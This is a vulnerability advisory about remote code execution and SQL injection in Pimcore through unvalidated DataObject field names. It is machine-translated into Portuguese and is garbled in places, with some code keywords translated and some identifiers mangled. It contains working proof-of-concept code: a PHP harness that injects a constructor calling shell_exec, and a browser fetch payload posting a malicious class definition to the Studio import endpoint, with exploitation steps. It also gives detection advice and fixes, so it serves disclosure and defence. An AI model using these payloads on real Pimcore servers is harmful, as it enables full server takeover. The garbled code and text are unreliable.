Um nome de campo DataObject ** de definição de classe** é concatenado, sem uma lista de identificação, na fonte de classe PHP que o Pimcore gera para cada classe de DataObject (`protegida $ ;`). Um usuário que tenha apenas a permissão comum de "objetos" (DataObjects) pode importar uma definição de classe cujo nome de campo fecha a propriedade e injeta PHP arbitrário no arquivo de classe gerado, obtendo execução de código remoto no servidor. O mesmo nome de campo não validado também está concatenado em TABELA ALTER DDL (`ADD COLUNN`/`ADD INDEX`), dando um primitivo de injeção SQL paralelo. Este é um irmão de CVE- 2026 - 5394 (injeção SQL de coluna de índice de compostos); que corrige endurecido somente o `indices de compostos' sumiço e deixa o caminho do nome do campo intacto. Qualquer usuário autenticado com a permissão `objetos` — a permissão padrão para editores de conteúdo que trabalham com DataObjects, não um administrador ou uma permissão dedicada de "classes" — pode: 1 **Ejecutar PHP arbitrário no servidor (RCE).** O código injetado é executado no processo PHP do aplicativo web quando um objeto da classe afetada é carregado (e é re- executado em cada carga), com acesso total ao aplicativo, suas credenciais de banco de dados, segredos e o sistema de arquivos host/OS — ou seja, compromisso completo do servidor. 2. **Ejecutar a tabela de ALTER DDL arbitrária (injeção SQL)** contra as tabelas de armazenamento/requências DataObject (colonas de solta, adicionar índices, esquema corrupto). **Confidença (lindo com a seção de Reprodução).** O SHIF RCE — o verdadeiro construtor que emite o PHP para o corpo da classe gerada, que carrega a classe, e seu `__construct()` executando um comando shell — é **confirmado em tempo de execução em um arnés isolado** (ver Reprodução → "Confirmação Lab"). Os elos restantes da cadeia de extremidade a extremidade são **ragionados a partir da fonte, mas ainda não executados de extremidade a extremidade em um Pimcore ao vivo**: (a) o caminho de importação do Estúdio (`generateLayoutTreeFromArray` → `salvar`) preservando o nome do campo sem transformar/rejeitar; (b) o passo DDL do campo persistente não abortando o salvamento (endereçado pelo ≤ 64 -byte gadget); e (c) Pimcore instantiando o objeto (`novo`, por exemplo, via `DataObject::getById()`) para que `__construct()` fuga — carregando automaticamente sozinho executa apenas código de classe- corpo de nível superior, não o construtor. Trate o RCE como ** confirmada por sink + raciocinada por cadeia**, não como uma exploração ao vivo totalmente executada. Porque o PHP injetado executa com os privilégios do tempo de execução do PHP (tipicamente o usuário do servidor web) e chega ao sistema operacional — além da autoridade da conta de aplicativo Pimcore que o atacante iniciou — o escopo é avaliado Mudado (`S:C`), consistente com a pontuação própria do Pimcore da injeção SQL de Relatórios Personalizados análogos (GHSA-- GHSA- 3234 - gxc 3 - pq 6 f, `AV:N/AC:L/PR:L/UI:R/S:C`, 8.7 ); o resultado aqui é RCE em vez de SQLi somente de leitura, cedendo ** 9.9 Crítico**. `S:C` é a única métrica discutible: um crítico que nota o impacto dentro da única autoridade PHP/OS como `S:U` terras em `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = ** 8.8 Alto**. O piso de gravidade é, portanto, alto, independentemente da interpretação do escopo. ## Detalhes Técnicos. ### Fonte → afundar (RCE).

O Pimcore gera um arquivo de classe PHP para cada classe de DataObject. O bloco de propriedade é construído em `lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php`: ```php // lib/ DataObject/ ClassBuilder/ FieldDefinitionPropertiesBuilder.php: 27 - 32 foreach ($classDefinition->getFieldDefinitions() como $key => $def) { se (!$def instance of ClassDefinition\Data\ReverseObjectRelation & & &!$def instanceof ClassDefinition\Data\CalculatedValue) { $cd.= 'protegido $'.$key.";\n"; // $key = campo NOME, concatenado cru na fonte PHP } } `````` `$key` é o nome do campo. A string é montada em um corpo de classe em `lib/DataObject/ClassBuilder/ClassBuilder.php: 104 - 112 ` (` classe estende {n` + propriedades), escrito para `var/ classes/ DataObject/ .php`, e autocarregado/incluído. Um nome de campo como: ``` poc; função pública __construct(){ /* atacante PHP */ } privado $z ``` produz um corpo de classe válido contendo um `__construct()' definido pelo atacante que executa quando um objeto da classe é carregado.

Que os mantenedores saibam nome→A geração de PHP requer um identificador allowlist é mostrado pelo gerador de opção de enum**, que executa um: ```php // lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php: 188 se (!preg_match('/^[A-Z-a-z_][A-Za-z 0 - 9 _]*$/', $selectOptionName)) { /* rejeitar */ } ``` O caminho do nome do campo não tem equivalente. ### Sumiço paralelizado de injeção SQL. O mesmo nome de campo é concatenado, com o backtick **string** citando (não `quoteIdentifier`), em DDL:.

```php // models/DataObject/ClassDefinition/Helper/Dao.php: 102 (addModificarColumn — ADD COLUNN) $this->db->executeQuery( 'TABLA DE ALTER '. $table. ' ADD COLUNN '. $colName. ' '. $ tipo....); //: 52 /: 67 (addIndexToField — ADD INDEX ( )) $this->db->executeQuery( ''TABLA DE ALTER '. $table. ' ADD '. $uniqueStr. 'INDEX '. $prefix. $indexName. ' ('. $colonnName. '); Fonte: `modelos/DataObject/ClassDefinition/Dao.php: 228 ` → `$this->addModificarColumn($objectDatastoreTabela, $key, $value->getColumnType(), '', 'NULL')', `$key' = nome do campo. Um contra- tick no nome do campo sai do identificador citado. Contraste o isqueiro do índice composto- patcheado, agora protegido por uma lista de acedentes ** e** `quoteIdentifier` (`models/DataObject/Traits/CompositeIndexTrait.php`). ### Por que a validação não o impede. A validação completa do nome de campo através da importação → salvar caminho:.

1. `Models/DataObject/ClassDefinition/Service.php: 296 ` (`generateLayoutTreeFromArray`): `preg_match('/ /', $name)` — rejeita apenas nomes de ângulo- cracket. Retrotick, `;`, `{}`, `()`, citações, espaços todos passam. 2. 2. `modelos/Objeto de Dados/Definição de Classe/Data.php: 1292 ` (`isProhibidenName()`) — uma palavra reservada **denylist** (`in_array(strtolower($name), FORBIDDEN_NAMES)`), sem filtragem de caracteres. 3. 3. `models/DataObject/ ClassDefinition.php: 1149 ` — valida apenas o nome/ id **class**. Nenhuma lista de permissões é aplicada aos nomes de campos. A interface de usuário do Estúdio aplica um padrão de identificação do lado do cliente; a API não o faz. ### Recebível / privilégio. O ponto de entrada HTTP (`pimcore/studio-backend-bundle`): ```php // src/ Class/ Controller/ DefinitionConfiguration/ImportController.php string de const privado VÍA = '/class/definition/ configuration-view/ detail/{id}/ import'; #[Route(self::ROUTE, nome: 'pimcore_studio_api_class_definition_import', métodos: ['POST']] #[IsGraved( UserPermissions::DATA_OBJECTS->valor)] // UserPermissions::DATA_OBJECTS = 'objects' public function importClassDefinition( string $id, #[MapUploadedFile] Carregado Arquivo $: JsonResponse { devolva $this->jsonResponse( $this->classDefinitionService->importClassDefinitionFromJson($id, $file->getContent())); } ``````.

`importClassDefinitionFromJson` → `ClassDefinitionRepository::importFromJson` → modelo `save()` → `saveClassInternal()`, que executa o DDL (`getDao()->save()`) e, em seguida, a geração de classe PHP (`generateClassFilesInternal()`). O objetivo requer apenas a permissão de 'objetos' (`PR:L`) e não executa a validação do seu próprio nome de campo. O portão de autorização único é o nível de rota `#[IsGranted('objetos')]; um DataObject **class definetion** é esquema global (não um elemento gamed do espaço de trabalho), por isso nenhuma autorização secundária do nível elemento/espaço de trabalho se aplica à importação — "objetos" por si só chega ao lavatório, que é o que ancora `PR:L'. Este é o mesmo objetivo de importação usado no CVE- 2026 - 5394 Poc. Em `saveClassInternal()`: verificação de nelist do campo → class- name regex → `getDao()->save()` (fogos de aquecimento DDL) → `generateClassFilesInternal()` (fogos de aquecimento de aquecimento de GN-PHP). O SQLi ativa primeiro; a carga útil RCE usa um tipo de campo não persistente (sem ` ADD COLUNN`) ou um ≤ 64 -byte DDL- nome válido para que o passo DDL não aborte antes da geração do PHP. ### Confirmação do laboratório do aquecimento RCE (duração verificada). Usando a fonte **unmodified** `FieldDefinitionPropertiesBuilder` impulsionada por uma `ClassDefinition` mínima cujo nome de campo único é uma carga útil PHP (arness completo no `rce_harness.php` anexo): ``` php $maliciousName = 'pwn; função pública __construct(){ eco "INJECTED- RCE- RAN: ".trim(shell_exec("id")); } privado $z'; $cd = nova definição de classe([$maliciousName => nova \stdClass()], 'PwnDemo', ' 99 '); $props = (novo Builder de Propriedades de Definição de Campo()->buildPropriedades($cd); arquivo_put_content('/tmp/PwnDemo.php', "<?php\nclass PwnDemo {\n".$props."}\n"); requer '/tmp/PwnDemo.php'; novo \PwnDemo(); ```.

Observado (`php: 8.3 -cli`). ```texto === bloco de propriedades gerado (produção do verdadeiro construtor) === protegido $classId = " 99 "; protected $className = "PwnDemo"; protegido $pwn; função pública __construct(){ eco "INJECTED- RCE- RAN: ".trim(shell_exec("id")); } privado $z; INJECTED- RCE- RAN: uid= 0 (root) gid= 0 Grupos= 0 (root) ``` O verdadeiro construtor emitiu um corpo de classe contendo o `__construct()' do atacante, e carregando a classe executou o comando injetado. ### PoC de fim em fim (console de navegação, contra a API do Estúdio) ```js // Execute no navegador DevTools console de uma sessão autêntica do Pimcore Studio // realizada por um usuário com a permissão comum "objetos" (Objectos de dados). // NÃO DESESTRUCTIVO marcador carga útil: escreve um arquivo sentinela.

const CLASS_ID = "REPLACCE_WITH_A_THROWAY_EST_CLASS_ID". const fieldName = 'x; function __construct(){touch("/ tmp/ pimcore_rce_poc");}// '; const def = { layoutDefinições: { nome: "pimcore_root", tipo de campo: "panel", tipo de dados: "layout", filhos: [ { nome: campoNome, tipo de campo: "input", tipo de dados: "data", título: "poc" } ] } }; const fd = novo FormData(); fd. append("file", novo Blob([JSON. stringify(def)], { tipo: "application/json" }), "import.json"; fetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { método: "POST", credenciais: "incluir", corpo: fd, }.then(r => r.json()).then(console.log); ````. 1. Como um usuário com apenas a permissão de 'objetos', crie/ possua uma classe de DataObject desembarque e note seu id (`CLASS_ID`). 2. 2. Abre DevTools → Console e execute o trecho acima. Esperado: um JSON de sucesso para a importação (a classe é regenerada). 3. 3. Carregue qualquer objeto dessa classe (abri- lo no Studio, ou pedí- lo) para carregar automaticamente o `var/ classes/ DataObject/ .php` regenerado. 4. 4. Confirme `/tmp/pimcore_rce_poc` foi criado no servidor — provando o nome do campo executado como PHP. ## Q 0 a / Q 0 b.

- **Q 0 a** (risco aceito pelo vendedor): não por delineamento. O gerador de opção enum de irmão faz com que um identificador allowlist (`SelectOptionsEnumBuilder.php: 188 ` `/^[A-Z-a-z_][A-Za-z 0 - 9 _]*$/`) e a correção do índice composto adicionada a uma — o caminho do nome do campo simplesmente não tem o equivalente. Verificado por fonte: a única verificação do nome do campo do caminho de importação é `Service.php: 297 ` ` preg_match('/ /', $name)` (apenas os grifos de angulares; `;{}()`, espaços, backtick all pass), e ` FieldDefinitionPropertiesBuilder.php: 30 ` concatena o '$key' em bruto para `protegido $ ;`. Não existe portão a montante da lista de permissões. PASS. - **Q 0 b** (dedup encaminhado por via de entrada; local = gthub- security- advisory): irmão/incompleto- cobertura de CVE- 2026 - 5394 / GHSA- r 2 f 4 - ff 2 p- xc 64 (DataObject **composite- index** SQL injeção), cuja correção endureceu apenas `CompositeIndexTrait`. O **- nome de campo** → PHP-codegen RCE (`FieldDefinitionPropertiesBuilder`) e o nome de campo → ALTER TABLE DDL (`Helper/Dao.php`) são pias distintas e não fixadas. Não coberto pelo GHSA- 3234 (Relatos Personalizados SQLi, recurso diferente). Não é uma duplicada. Limpar. - ** Sumiço secundário observado:** `Service.php: 517 ` também concatena o nome do campo bruto em uma string literal gerado PHP (`const público FIELD_... = ' ';`) — um segundo ponto de injeção de códigogen (quebramento de string-literal via `''), mesma causa raiz; a correção de permissão fecha ambos. ## Sugerido Fix Aplicar um identificador a permitlist para nomes de campos no limite do modelo, idêntico em espírito ao enum- option guard e ao índice composto- correção. Em `models/DataObject/ClassDefinition/Data.php` (por exemplo, em `setName()` ou uma verificação de validade central invocada a partir de `saveClassInternal()`), rejeitar qualquer nome que não corresponda `/^[a-zA-Z][a-zA-Z 0 - 9 _]{ 0,62 }$/`: ``` php // 63 -chap de char mantém o nome dentro do MySQL 64 -byte limite de identificação ( 1 letra principal + ≤ 62 ). se (!preg_match('/^[a-zA-Z][a-zA-Z 0 - 9 _]{ 0,62 }$/', $name)) { lançar novo \InvalidArgumentException(sprintf('Nome do campo inválido:%s', $name)); } ```` Além disso, defense- em profundidade: use `quoteIdentifier()` para `$colName`/`$indexName` em `models/DataObject/ClassDefinition/Helper/Dao.php`, e nunca interpolar os identificadores para o PHP gerado sem permitir a listagem. Faça a mesma verificação no controlador/ serviço de importação do Studio para que a validação somente do lado do cliente não possa ser evitada através da API.

**Resolução do modelo de privacidade (causa root, separada do filtro de entrada).** Uma importação de definição de classe altera o esquema do banco de dados e gera PHP do lado do servidor, mas é bloqueada apenas pela permissão de "objetos" do editor de conteúdo. Importar/ salvar a definição de classe do portal por trás de uma permissão administrativa dedicada (ou `admin`), distinta de `objetos`. **Detecção/mitigação do lado do operador (desenvolvevel hoje, antes de um patch):**. - **Detecção:** Monitoramento da integridade do arquivo em `var/classes/DataObject/*.php` — alerta sobre alterações inesperadas, e especificamente sobre a aparência de `função`/`__construct(` tokens em um corpo de classe gerado. Aumentar o evento de auditoria de definição de classes para um alerta de alta prioridade. Marque qualquer POST não-admin para `.../class/definition/configuration-view/detail/*/import`. - - **Mitigação intermédia:** restringir o endpoint de importação aos administradores através de um eleitor de segurança personalizado; ou desativar a importação de definição de classe na produção; ou adicionar uma regra WAF limitando o POST `.../class/definition/configuration-view/detail/*/import` para operadores confiáveis. ### Sumidores adicionais de injeção de código que compartilham esta causa raiz O mesmo padrão "identificador não validado → PHP gerado" existe em **outros limites de identificador**: - ** Nome da Classe → `ClassBuilder.php: 104 `**: `'class''.ucfirst($clas.